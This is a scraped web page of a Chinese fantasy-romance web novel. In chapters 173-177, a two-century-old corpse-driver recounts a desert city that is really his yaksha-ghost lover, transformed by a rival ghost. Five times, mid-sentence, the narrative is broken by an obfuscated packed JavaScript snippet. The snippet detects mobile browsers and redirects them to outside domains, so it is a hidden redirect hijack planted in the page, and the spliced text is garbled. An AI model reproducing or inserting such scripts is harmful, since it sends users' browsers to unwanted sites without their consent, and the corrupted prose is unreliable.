“幸存的三个人说,探险队进入沙漠后不久,就遇到了鬼打墙,六个人无论怎么走,都在转圈圈。好不容易走出了鬼打墙,就遇到了沙尘暴,当他们以为自己快要死了的时候,沙尘暴突然停了,沙子散去,出现在他们眼前的是一架飞机,完好的飞机。” “飞机?” “是的。” “是空难掉下来的吗?” “大概是的。但如果是空难掉落下来的话,飞机应该损伤严重才对,可这架飞机完好无损。六个人觉得奇怪,就走上飞机瞧了瞧,飞机上空空如也,一个人也没有,但行李都在。王充打开了一个行李,找到了一些资料,才知道飞机是年初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294681|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候一架从国外飞往京城,途径漠歌的航班。飞机上的乘客大多是从国外回来探亲的华人。” “那些乘客呢?” “不见了。”时魏说,“直到晚上的时候,王充带领队伍在飞机旁生火取暖,要知道,沙漠昼夜温差很大,白天能热死人,晚上能冷死人,就在这时诡异的一幕出现了,飞机上的乘客陆陆续续都回来了,他们一副吃饱喝足的样子,走上飞机,回到自己座位,很安详地睡着了。” 说到这里,时魏停顿了一下,问左轻白:“左小姐,我是赶尸匠,对尸体熟,对鬼不是很在行,我想问左小姐,听这描述,左小姐觉得飞机上的是鬼吗?” 左轻白不着急回答,而是反问:“飞机失事距离这个故事发生有多久?” “大半年。” “大半年,正常人在沙漠里是不是早就死了?” “理论上是。” “可飞机上的乘客还活得好好的,都没死,不仅没死,还能吃饱喝足,我觉得有两种可能,第一种,他们都变成了鬼;第二种,他们没有变成鬼,而是在沙漠里有什么奇遇,让他们有食物有水,真的存活了大半年。”左轻白说。 时魏点点头,道:“左小姐的推断有理有据。” “后来呢?”左轻白问。 时魏继续往下说:“这些乘客睡着后怎么叫都叫不醒,于是王充和其他人一直等到了天亮。天一亮,这些乘客就醒来了,他们很有秩序地下了飞机,排成一列,有序地朝某个方向走,王充等人跟了上去。” “莫非,这些乘客在沙漠里找到了绿洲?”左轻白问。 “不是绿洲,而是那座茶木古城。” 173. 我的爱人 “那座茶木古城是什么样子的?”左轻白迫不及待地问。 “据幸存下来的人说,他们跟着那群乘客找到了藏在沙漠中的茶木古城,茶木古城是座逆八卦城,城里的建筑和街道根据逆八卦阵排布。”时魏说。 逆八卦阵顾名思义,就是同样的框架,但内部的卦象排布顺序与正八卦阵相反,常伴随鬼煞之气出现。 时魏继续说:“这座沙漠古城中竟然有很多树,有树就说明有水源,王充等人在城内找到了一座湖泊,湖泊边立着一块石头,石头上写着湖泊的名字,叫夜叉湖。” “夜叉湖?这名字怪得很。”左轻白评价道。 “还有更怪的,这个湖的形状像一个人胃的形状。”时魏神秘兮兮地说,“接下来,更怪的事情发生了,夜叉湖边有一个神秘的早市,早市上摆了很多桌子,桌子上摆了很多新鲜的食物,食物没有当地人看管,那些从飞机上下来的乘客来到早市,坐下就开始吃东西。他们满脑子只剩下吃,就跟猪一样。” 左轻白奇道:“沙漠里的古城,还有当地人居住吗?” “左小姐问得好。这是个古城,一个遗迹,里面怎么会有人?既然没有人,早市上新鲜的食物又从哪里来?王充他们也有同样的疑问,所以他们不敢吃那些食物。强烈的好奇心驱使,他们朝古城更深处走去。古城中心是一个广场,广场呈心脏的形状,广场上有一个木架,上面挂着一条红绳,红绳系着一块铁片,铁片上写着一行小字,是句情诗:晓看天色暮看云,行也思君,坐也思君。探险队中有个人,觉得这东西可能跟什么重大历史事件相关,就把它取下带走了。” 左轻白听到后笑了,“情诗就是讲男男女女那点破事的诗,能跟什么重大历史事件相关?咱们就是从小到大阅读理解做多了,风花雪月非得扯上国恨家仇。” “左小姐跟我想得一样。接下来,王充他们继续往前走,然后他们找到了一个像眼睛一样的泉眼。” 时魏描绘得神乎其乎,左轻白忽然问时魏:“湖泊像胃,广场像心脏,泉眼像眼睛,那这座古城的整体,像什么?” “没有人见过,但我猜测,如果从遥远的高空俯瞰下去,这座古城的整体,一定像一个蜷缩侧卧着的女人吧。”时魏说着,睫毛微颤,眼眸一垂,神情落寞了下去。 时魏暗自神伤,左轻白能感受到他的情绪在流动。 等时魏从神伤中回过神来,接着说道:“正好那时王充等人的水壶都没水了,他们解下水壶,想把水壶装满泉水,王充第一个上前,他比较谨慎,在盛水之前先用手指沾了一点水,尝了尝泉水的味道,看是否有异常。王充发现,泉水居然是咸的。” “咸的……”左轻白联想到泉水的形状像眼睛,喃喃自语:“眼泪?” “王充对队员们说泉水有问题,让他们不要接这里的水,队伍里有两个人,一个叫张山,一个叫吴择的,不相信,他们说这泉水看起来很好很清澈啊,怎么会有问题?于是他俩也伸出手指沾了沾泉水,尝了一下,这才相信,泉水真的是咸的。” “他俩找死啊?” “这么说就有点事后诸葛亮了,只是用手指沾了一点泉水尝了一下,他们也没想到后来会发生那么可怕的事。” “后来发生什么了?” “后来,探险队离开了泉眼,幸存的三个人走在前面,王充、张山、吴择走在后面,你猜怎么着,走在前面的人觉得跟在后面的脚步声越来越多、越来越多,好像他们队伍的人翻倍了似的。走在前面的三个人回头一看,惊恐地发现后面的王充变成了两个王充,张山变成了两个张山,吴择变成了两个吴择!” “啊?” 时魏说:“每两个一样的人之中有一个是假的,它是真身的影子,因为影子没有影子。” “那就把影子杀了。” “他们也是这么想的,可他们失败了,真身没有杀掉影子,影子杀掉了真身!王充、张山、吴择死后,幸存的三个人拼了命地往回跑,想跑出古城。他们一边跑,一边心里’咯噔’一下,才猛地想起来,飞机上那些乘客也都没有影子!” “所以,飞机上的乘客都是冒充了正主的影子?”左轻白问。 “幸存者是这么说的。三个幸存者用此生最快的速度跑出古城,当他们跑出城后,‘王充’、‘张山’、‘吴择’三个影子就不再追他们了,影子被距离古城大门不远处的早市吸引,像丢了魂似的呆呆走到早市中,跟飞机上的乘客们一起享用早市上的食物。三个幸存者这才得以脱险。”时魏说。 影子代替了真身,这就是在茶木古城中发生的事。 左轻白问时魏:“故事讲完了吗?该到我问问题了。” “左小姐随便问。” “首先,你为什么会对这个故事这么熟悉?就好像你经历过,又或者亲耳听亲历者说过。” 时魏微微一笑,“左小姐很聪明。当年,三个幸存者获救后,我作为记者,跟他们当面沟通,亲耳听到了他们的故事,并记录下来。” “记者?你怎么又是记者了?”左轻白惊讶道,随后她恍然大悟,马上想到时魏这家伙已经两百多岁了,两百多年间他一定换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15307500|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过很多身份,现在是唱跳爱豆,40年前真是个记者也说不定。 “40年前我是记者,我亲耳从当事人口中听到了这个故事,但当时领导不允许我把故事原封不动地写出来,发出去。”时魏说。 “因为太匪夷所思了?” “是。当时所有人都以为这三个幸存者是受到了惊吓,才会胡言乱语。而且,那时候打击封建迷信的力度很大,领导不允许发这种神神鬼鬼的东西。” “领导不让发也难怪,媒体要宣扬科学嘛,这个故事不符合主流价值观啊。”左轻白很客观。 “但我知道,故事是真的,一切都是真的。”时魏笃定地说。 时魏看向左轻白,说:“我刚才说,其中一个幸存者从广场取下了一块刻着情诗的铁片。” “是。” “那东西就是你要找的弥月刃碎片,几经辗转,现在在我手里。” 左轻白的神情马上变得认真起来。 这时,两人走到了胡杨林外的博物馆。 博物馆是政府出资建造的,不需要门票,微信扫码登记就可以进入,两人进入了博物馆。 “这座博物馆展示的是漠歌市的历史文化。”时魏好像对这里很熟悉。 时魏带左轻白来到其中一个展厅,这个展厅展出了考古学家对茶木古城的发现。考古学家认为,虽然至今没有找到茶木古城的具体位置,但种种迹象表明,这座古城是真实存在的,如果能发掘,对漠歌市的历史文化研究一定意义深远。 展厅中展出了不少老照片,其中一张展示了40年前一名记者采访考古学家的场景,考古学家侃侃而谈,记者认真记录。 左轻白指着照片上的记者,说:“时魏,这是你吧?跟40年前比,你的容貌几乎没有变化。” 时魏笑嘻嘻地说:“哪有?我明明变帅了很多。” 左轻白:“……” 左轻白问:“你顶着这张脸进来,博物馆的工作人员不会问吗?” 时魏手一摊,耸耸肩,相当无所谓,“问就问咯,问了就说凑巧长得相似而已。作为一个相信科学的正常人,你更愿意相信一个人活了两百多岁,还是更愿意相信只是两个人碰巧长得相似?肯定是后者嘛!” 左轻白点点头,若有所思道:“好像也是。” 时魏看着博物馆里对茶木古城的文字介绍,幽幽说道:“那些搞考古的说,茶木古城是漠歌市的文明之源,哪有这回事啊。”说着,时魏垂下眼,发出一声无奈的叹息,“茶木古城不是什么文明之源,它只是……我的爱人。” 174. 竟然不是一座城 左轻白隐隐约约猜到了什么,她问时魏:“茶木古城是人所化?” 时魏看着左轻白,笑了笑,说:“更确切地说,是一种左小姐最熟悉的东西——鬼。” 茶木古城不是一座真正的城市,它由鬼的身体所化成。 左轻白惊道:“你也没跟我说你的爱人是鬼啊。” “很奇怪吗?” “不奇怪吗?” “金绮月那只大鬼都有那么多人爱,有什么奇怪的?” “好像也是。你继续往下说。等等……”突然间,左轻白想到了什么,说道:“刚才你说古城里那片湖泊叫夜叉湖,你那鬼女友不会是……夜叉鬼吧?” “左小姐猜得没错。” 夜叉鬼,仅次于神通鬼的第二大鬼,在鬼中级别很高,鬼力很强,甚至能和神通鬼斗上一斗。 左轻白上下打量时魏,对时魏另眼相看,左轻白叹道:“夜叉鬼你也敢泡,牛逼。你现在是我仅次于周夙最佩服的人。” 两人在博物馆的展厅里一边走一边观展,博物馆里很安静,大家都在文明看展。突然,左轻白脑中划过一道闪电,如晴天霹雳一样击中了她,一时间左轻白情不自禁地大声脱口而出:“等一下,你的女友不会和周如森的女友是同一个吧?” 周如森的前女友也是个夜叉鬼。 她音量有点大,博物馆里所有人都朝她这边看过来,都觉得她没素质。一个工作人员走到左轻白身边,不满道:“女士,请你小声一点。” 左轻白意识到自己犯了错误,满脸愧疚,她双手合十,微一鞠躬,小声地不停道歉:“对不起对不起……” 时魏和左轻白都戴着墨镜,用围巾把自己的脸遮起,所以工作人员没有认出他俩。工作人员走后,时魏悄悄对左轻白说:“幸好她没认出你,万一认出来,这事发到网上,你少不了被批.斗一番。” 左轻白听了时魏的话,连忙把自己的围巾拉得更高了,把脸遮得更严实了,她左顾右盼,小心翼翼,生怕被认出来。 时魏看她这动作,“扑哧”笑了出来,说:“左小姐真是个有趣的人。” 博物馆外有家卖简餐的店,出了博物馆,时魏和左轻白在店里坐下,点了些吃的。 时魏和左轻白在一个小圆桌前面对面坐着,时魏说起了他的鬼女友:“她叫卫韫书,正如左小姐所言,是个夜叉鬼,也跟左小姐想的一样,她曾是周如森的爱人。当时周府被地底的怪物骚扰,是她帮周如森解决,为此还得罪了金绮月,可周如森却在知道她是鬼后,抛弃了她。” 左轻白一手托腮,一手捏了捏眉心,气一叹,吐槽道:“你们这人物关系有点复杂啊,让我理一理……金绮月……唉,果然大女主世界一切都围绕大女主转,真是哪哪都有她啊。” 时魏奇道:“大女主世界?” 左轻白手一摆,“没事没事。” 她才懒得跟时魏解释《登顶娱乐圈女王》这本大女主小说,真要解释起来不就更复杂了吗? 左轻白问:“卫韫书是先认识的你,还是先认识的周如森?” “周如森。” 左轻白理清了关系,“所以,卫韫书先是和周如森是一对,她为了帮周如森解决地底怪物,得罪了金绮月;但周如森知道卫韫书是鬼后就抛弃了她,卫韫书伤了心,远走他乡,在他乡认识了你,又跟你谈起了恋爱。” “对。”时魏点头。 “这个‘他乡’,就是大西北?就是漠歌市?” “对。” “卫韫书为什么会化成茶木古城?难道是……金绮月害的?我明白了,卫韫书得罪过金绮月,以金绮月的性格,不可能就此罢休,它们厉鬼之间本来就是会互杀的!” “对。” 时魏一连说了三个“对”,突然,不知道从哪窜出一个高大帅气的人,从一旁随意地拖了个椅子过来,“铛”的一下把椅子放在时魏和左轻白之间,坐了上去,优雅地把左腿搭在右腿上,强行加入时魏和左轻白的对话。 “对什么?”路回冷着张脸,说。 来人是路回,这货不知道什么时候来了,居然还精准地找到了左轻白的位置。 “你你你……”左轻白瞪大了眼,“你不是飞去国外开会了吗?” “开完了,不能回来吗?”路回依旧冷着张脸。 “路程这么远,一来一回这么快的吗?”左轻白问。 “我有私人飞机,当然快。” 左轻白:“……” 好吧,钱能解决很多问题,包括时间问题。 左轻白又问:“你怎么知道我在这?” “上次在你手机里装了定位系统。”路回说。 左轻白:“……” 时魏挠了挠脑袋,觉得自己这时候还呆在这里的话,就太没有眼力见了,于是他站了起来,露出他的招牌笑容,对左轻白说:“左小姐,我的需求很明确,就是把被金绮月变成茶木古城的卫韫书解救出来,事成之后,我会兑现承诺,把弥月刃碎片给你。” 时魏礼貌地朝路回和左轻白点点头,“路总,左小姐,我先走一步,祝二位玩得开心。” 时魏离开圆桌,可他才刚走出没两步,身后的左轻白突然叫住了他。 “你想清楚了没有?”左轻白道,“我是捉鬼师,即便我有能力解救卫韫书,可救了之后,我也是要杀死她的。” 捉鬼师与鬼至死方休,更何况这还是一只夜叉鬼。 时魏脚步一顿,沉默了许久。 良久,时魏才缓缓说道:“左小姐,你先救出她,好吗?两百年了,我真的很想再见她一面,之后的事之后再说。你不用担心我耍什么心眼,违背诺言,你放心,我这人说到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15313517|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做到,只要你救出卫韫书,我就把碎片给你。” 说完,时魏走了,留下路回和左轻白在店里面面相觑。 “义演什么时候开始?”路回打开了话匣子。 “明天。”左轻白老老实实回答,“我们这次义演去的是学校、孤儿院之类的地方,一路都有电视台的摄像机跟着,保证干干净净清清白白,你放一百个心。” “谁说去的地方不清白了?”路回说道,一双眼睛直勾勾地盯着左轻白,路回上半身往左轻白的方向微微倾斜,在左轻白耳边低声说:“我是怕你不清白。” 他的气息喷在左轻白皮肤上,痒痒的,人还放肆地靠得越来越近。左轻白耳尖一红,低声嗔骂:“放屁吧你,谁不清白啊?我名字就叫‘轻白’。我还没怀疑你呢,谁知道你去国外开会,有没有泡人家外国小姐姐?” “你要是有这个担心,怎么不想办法监视我?” “我没空啊。” 两人说着,路回的脑袋已经贴到了左轻白的脑袋上,路回把左轻白几乎遮住脸的围巾一拉,飞速在她脸上亲了一下。 亲完之后路回眉头微皱,舌尖一股怪味化开,好苦。 左轻白看到路回的反应,笑出声来,说:“西北紫外线强,所以我今天涂了很厚一层防晒霜,防晒霜的味道不好吃吧,路总?” 路回把手插进兜里,看着左轻白,话题像青蛙跳跃一样突然跳到了别处去,路回问:“我见着兰殊尔了,他又躲着我走,那天的事,你没跟他解释?” 那天在发布会发生的事,左轻白已经原原本本跟路回坦白了,所以路回什么都知道——不坦白不行啊,不坦白路回这醋坛子还不知道要怎么翻。 “解释了。”左轻白唉声叹气,“我跟他说了我是为了保他的命,还让他配合我一下,但他那人性格不懂拐弯你知道吧?他很介意拿这种事情来作假。我问他那你演戏不是作假吗?他说不一样。反正他现在不想理我。” “我也很介意。”路回咬着后槽牙说,“他不理你最好。最好永远不理。” 左轻白撇撇嘴。 永远不理是不行的,茶木古城这事,估计还需要兰殊尔的帮助。 左轻白身体往前一倾,眼睛亮晶晶地问路回:“你逛胡杨林了没有?走,咱俩一起逛逛去。” 两人走出小店,走进了胡杨林。左轻白牵着路回的手,边走边跟他讲茶木古城的故事。 路回越听越惊讶,“从小到大我听说过很多有关于茶木古城的诡异传说,没想到茶木古城竟然不是一座城,而是一个人,不,一只鬼。” 路回的疑问太多了,他问左轻白:“飞机上那些人是怎么回事,还有那三个探险队的人,他们在茶木古城尝了泉眼里流出来的水,分裂成了两个,一个影子一个正主,影子杀了正主,代替了正主,影子到底是个什么东西?” 175. 尸体大哥 “鬼奴。”左轻白脱口而出。 左轻白说:“如果我猜得没错的话,那是卫韫书的鬼气滋养的鬼奴。” 左轻白跟路回解释:“鬼奴不是人死后变的,而是厉害的大鬼创造出来,用自己的鬼气滋养的奴隶。鬼奴没有人皮,通常奇形怪状,就像金绮月的人面蛇;但如果养它们的大鬼有那个心的话,也能帮它们抢几张人皮来,给它们披上。” 左轻白说得起劲,很自然地将一只手挽上路回的胳膊,路回低头一看,悄咪咪地嘴角上扬。 左轻白继续说:“卫韫书是夜叉鬼,鬼力很强,鬼气浓重,哪怕已经失去意识,依然可以源源不断地创造鬼奴。就是她养的鬼奴抢走了三个探险队员和那一飞机乘客的人皮,鬼奴们披着人皮在卫韫书所化的茶木古城中活动。” 路回想了想,觉得有些地方解释不通,他问左轻白:“那喝了古城的泉水,探险队员就分裂成了两个,这个情节怎么解释?不通啊。” 左轻白摇摇头,说:“这也是我想不明白的地方,泉眼是眼睛,泉水应该就是卫韫书的眼泪,泉水在这里起到了什么作用?我不明白。” 整个故事还有很多疑点,鬼奴的解释也有不通之处,左轻白敲了敲自己脑袋,说:“头痛,不想了。” 路回看着左轻白敲脑袋的动作,觉得有些可爱。 路回问:“时魏让你帮忙解救卫韫书,要救卫韫书,首先要找到茶木古城,你有办法了吗?” 左轻白摇摇头,“没有,我现在脑袋空空。” “要不打个电话问金绮月?是她把卫韫书变成古城的,她肯定知道位置。” 左轻白瞪大了眼,“少出馊主意,千万别把金绮月扯进来。她进来一搅和,万一察觉到我帮时魏的目的,我就彻底完蛋了。我很怕死的。” “你怕死吗?这是真没看出来……”路回吐槽。 两人挽着胳膊,在胡杨林下慢悠悠地散步,漫无目的地闲聊。无边无际的胡杨林像一片金色的海洋,微风吹来,金海浮沉,置身于金海中的两人显得无比渺小,他们像两只蚂蚁一样在金海中缓慢移动,仿佛能这么一直走到地老天荒。 与此同时,时魏已经开车回到了下榻的酒店。 时魏把房间的窗帘全部拉上,隔绝掉所有阳光。 他和衣躺在床上,呆呆地看着天花板,这一瞬间,他的眼神变得忧郁,流露出老态,终于有了点活了两百年的样子。 时魏把一条胳膊搭在眼睛上,闭上眼,他脑袋放空,思绪飘了出去,他的记忆在回溯,一点一点回到两百年前。 漠歌市历史悠久,两百年前漠歌就已经是中原通往西域的重要关口了,这里的商人络绎不绝,集市热闹非凡。 商人们骑着骆驼,驮着丝绸、茶叶、瓷器,在中原通往西域的商路上来往。走商艰苦,一旦遇上流行病或者极端天气,商队中就会有人死。这里离中原十万八千里,那时候交通不发达,如何能让死掉的人落叶归根魂归故里?是个难题。 于是这时赶尸匠出马了。赶尸匠受人委托,负责把尸体平安运回遥远的故乡。 时魏是个年轻的赶尸匠,才二十出头,刚出师不久,这是他第一次独自赶尸体回乡。 时魏之前也赶过尸体,但之前都有师父或师兄陪同指导,这次是他第一次一个人。 赶尸匠是道家的一个分支,他们赶尸时会穿上道袍。时魏身着道袍,手拿一根细长的竹竿,在他前面走着五个人,五个人一个接一个排成一列,腰被一根红绳系在一起,穿着统一的灰衣和斗笠,斗笠把脸遮住大半。 五个人步伐整齐地往前走,看起来跟正常人没什么区别,只是略显呆板,要是谁偏离了方向,走在最后的时魏就用细竹竿敲一下他的肩膀,矫正路线。 如果仔细观察这五个人的脸,就会发现他们面无表情,脸色苍白,已经没了呼吸,原来全都是尸体。 这五个人是走商时死在外乡的商贩,中国人讲究落叶归根,人死后尸体都是要回乡安葬的,可尸体太沉了,运输很困难,古时候没有火车飞机,马车驴车一次能装的量有限,且上台阶、走山路不方便,烧成灰运回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15350690|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行不行?也不妥,因为很多地方的风俗讲究留全尸,烧成灰家里人不接受。这时赶尸匠就出现了,赶尸匠有秘法,能让尸体像活人一样自己走回家。 时魏是个新手赶尸匠,他赶着五个尸体走在沙漠中,不出意外,他迷路了。 时魏急得团团转,不是吧?难道尸体没运回去,反倒要把自己也变成尸体吗? 时魏水壶里的水喝完了,他看了看旁边五个尸体,心想:这五位尸体大哥是不用再喝水了,但我没水喝很快就会死掉的啊! 关键时刻时魏拿出了师兄送给他保命的罗盘,这罗盘可是好东西,能在沙漠中指明绿洲的方向。时魏顺着罗盘的指引,带着五位尸体大哥一直走,终于找到了一片绿洲。 绿洲里有植物,还有淡水湖。 时魏“哦豁”一声发出欢呼,雀跃地跳起来,他激动地摇晃其中一个尸体的肩膀,说:“尸体大哥,谢谢你们保佑我好运!” 时魏欢呼着奔向湖泊,趴在河边喝了个饱,又把自己的水壶装满水。满血复活的时魏冲着天空喊了一声:“爽!” 解了渴,还要解决食物的问题。绿洲对沙漠中的旅人来说是生命之源,绿洲里不光有水、有植物,还有兔子、赤狐一类的小动物,时魏身上带了火石和盐巴,如果能抓到一只,今晚就能享受一顿美味了。 时魏拍了拍尸体的肩膀,用欢快的声音说道:“五位尸体大哥,劳烦你们在湖边坐着等我,我去林子里捕个猎,去去就回。” 五个尸体整整齐齐地点头,又整整齐齐地在湖边一截倒下的胡杨树干上坐下,动作整齐划一。 时魏撒欢似的冲进树林里,快乐道:“野兔,野鸡,野狐狸,我来啦!” 一进林子,时魏就听到一阵哭声。 奇怪,这声音在林子外听不到,进了林子就有了。 这是个女人的哭声,她很悲伤,像是被人抛弃在这里的。 哭声有魔力,人听了之后心里也跟着一阵悲凉凄楚。 时魏听得心里发酸,不由自主地顺着哭声找了过去。 176. 你明不明白 时魏在森林里找到了一名青衣女子。 女子清丽绝伦,面带愁容,气质温雅,如烟似雾。 时魏第一眼看到她时,以为看到了仙女,呆在原地半晌。 女子刚才在哭,脸上泪痕未干,那哀凄的样子看得时魏心中一疼。时魏心想:仙女在哭什么? 女子用一支发簪把长发盘起,低头在荆棘丛中寻觅,像是在找什么东西。 时魏在心里说:仙女弄丢了东西?她是因为这个不开心的吗?既然如此,那我帮她找找吧。 时魏想着,也开始在荆棘丛中寻觅。 时魏拾到了一片小铁片,铁片上刻着一首诗,一首情诗:晓看天色暮看云,行也思君,坐也思君。 时魏心里竟有些失落,难道仙女有爱人了吗? 此时时魏蹲着,忽然,一截青色的裙摆进入他的眼帘。 时魏抬头,看到仙女已经来到了自己跟前。仙女朝时魏伸出手,冷冷地说:“东西给我。” 时魏手里那片刻着情诗的铁片就是青衣女子找的东西。 时魏慌里慌张地把铁片还给青衣女子。 青衣女子转身就走。 时魏心里一空,连忙喊道:“仙女姐姐!” 青衣女子回头看时魏,好笑道:“你叫我什么?” “你……是这片绿洲的仙女么?” “不是。” “那就是……西域公主!” “也不是。” “那你是谁?” “我为什么要告诉你?” “相逢即是缘嘛。” “不如你先告诉我你是谁?”青衣女子打量时魏的衣着,见时魏穿着道袍,冷笑一声,说:“你是个道士?” 时魏赶紧抓住机会做自我介绍:“不不不,不是道士。我是一名赶尸匠,仙女姐姐可能不知道什么是赶尸匠,简单来讲,我们就是负责把死在异乡的人的尸体‘赶’回故乡的人。” “赶回去干什么?” “安葬啊,落叶归根嘛。” “死了就是死了,埋哪都一样。”女子幽幽地说。 “怎么能一样呢?仙女姐姐,其中门道,我可得跟你说道说道。” 时魏一激动,走近了青衣女子,正当他想高谈阔论的时候,青衣女子突然瞳孔一缩,迅速伸手将时魏的脑袋一摁。 时魏还没反应过来是怎么回事,突然他感受到耳边一阵凉飕飕的风,一把大刀从他耳边劈了下去,深深地插进地里。 刚才要是青衣女子不及时把时魏的脑袋摁到一边,大刀可能已经把时魏的半边脑袋削下来了。 时魏心惊胆战。 时魏转头一看,只见一个衣着华贵的男子站在他身后,男子面色苍白,像死了一样,脸上露出诡异的笑。 男子极其僵硬,无论是脸上的笑容还是四肢的动作,像极了一个提线木偶。 时魏又一转身,发现另一个方向也站着个类似的男子,同样是面色苍白,跟尸体无异,表情和四肢僵硬无比,如提线木偶。 两个男子直勾勾地看着时魏和青衣女子,咧开嘴笑着,在这片寂静的森林里显得恐怖无比。 时魏发现他们胸口并不起伏,显然没了呼吸,以为他们是尸体,便从怀里掏出一个铜铃,对青衣女子说:“仙女姐姐莫怕,看我的本事。” 时魏摇响铜铃,施展赶尸匠的控尸秘术。可铜铃摇了半天,一点效果也没有。 奇怪,只要是尸体,控尸秘术都会起作用的。 时魏愣道:“怎么回事?难道不是尸体?” 两个男子突然张开血盆大口,朝时魏扑来,一个咬时魏的手,一个咬时魏的后背。 后背还好,有衣服挡着,但手露在外面,一下就被咬中了。时魏发出惨叫,手背被硬生生咬下来一块肉。 关键时刻,青衣女子拉住了时魏的肩膀,把时魏拉到自己身后,那两个男子还不松口,青衣女子脸一沉,一板,发出一声威严的怒吼:“滚!” 似乎有一股强大的能量场压迫着两个男子,两个男子松开时魏,连连后退,在荆棘丛中蜷缩成一团,瑟瑟发抖。 时魏惊呆了,仙女姐姐原来这么厉害? 青衣女子看了时魏一眼,冷道:“穿着道士的袍子,还以为你有点本事,怎么连两个鬼奴都对付不了?” “鬼鬼鬼……鬼奴?他们不是尸体?”时魏惊讶地问。 “不是。他们是披着人皮的鬼奴。” 时魏尴尬道:“我是赶尸匠,只能控制尸体,对付不了鬼啊。” 青衣女子说:“鬼奴都有主人,他们的主人就在这附近。” “金绮月!”忽然,青衣女子大喊道:“给鬼奴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15357746|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 披人皮,太奢侈了点吧?” 鬼奴是鬼的奴隶,等级很低,鬼奴通常奇形怪状,珍贵的人皮轮不到它们来披。 “嘻嘻。”娇俏的笑声从一棵大树后面传来,时魏震惊了,这棵树离自己不远,可自己一直没发现树后面有人。 身穿一袭红裙的金绮月就坐在大树后面,她手里拿着一截黑色的绳子,绳子在手指间快速翻转,变化出各种花样,金绮月在玩翻绳游戏。 事实上,这不仅只是翻绳游戏,金绮月用这根绳子控制那两个鬼奴。 娇滴滴的声音从树后传来,金绮月嗲声嗲气地说:“有什么奢侈的?人皮而已,只要我想要,有的是。” 金绮月躲在树后面,时魏只闻其声不见其人,金绮月的声音很好听,优美如黄鹂鸟,可越是优美,时魏越觉得诡异。 突然,时魏“哎呀”一声,竟身体一软,全身无力。 时魏低头一看,只见他手上被鬼奴咬中的地方黑气弥漫,伤口在迅速腐烂。 时魏大惊,但还没等他出声,眩晕感就涌上他的大脑,时魏两眼一闭,失去意识,无声无息地晕倒在地。 鬼奴的牙有毒,时魏这是中毒了。 这时,金绮月一蹦一跳地从树后面跳了出来,她像林间的精灵,又像小鹿。 金绮月笑道:“我从中原追你追到大漠,不愧是几乎能与神通鬼抗衡的夜叉鬼啊,卫韫书。” 这名青衣女子叫卫韫书,她不是人,是一只鬼,一只夜叉鬼,夜叉鬼在鬼中的等级仅次于神通鬼,实力强劲。 金绮月打量卫韫书,发出充满嘲讽意味的笑,金绮月讽刺道:“都到夜叉鬼这个级别了,还能为一介凡人搞成这个样子” 金绮月足尖轻点,在林间施施然转了个圈,对卫韫书说道:“智者不坠爱河,你真蠢。” 金绮月转着圈来到那两个鬼奴身旁,指着他们说:“这是林员外家的小儿子,这是杜乡绅家的二公子,他们都说他们爱我,求我跟他们在一起。我问他们有什么能给我的,他们说但凡是他们能拿出来的东西,都可以给我。我说,身外之物我不要,我只要一样东西,就是他们的人皮。于是我把他们的人皮扒了下来,给我的鬼奴用。” 金绮月又一转圈,笑嘻嘻地来到卫韫书身边,在卫韫书耳边道:“男人是用来玩弄的,卫韫书,你明不明白?” 177. 这就是鬼啊 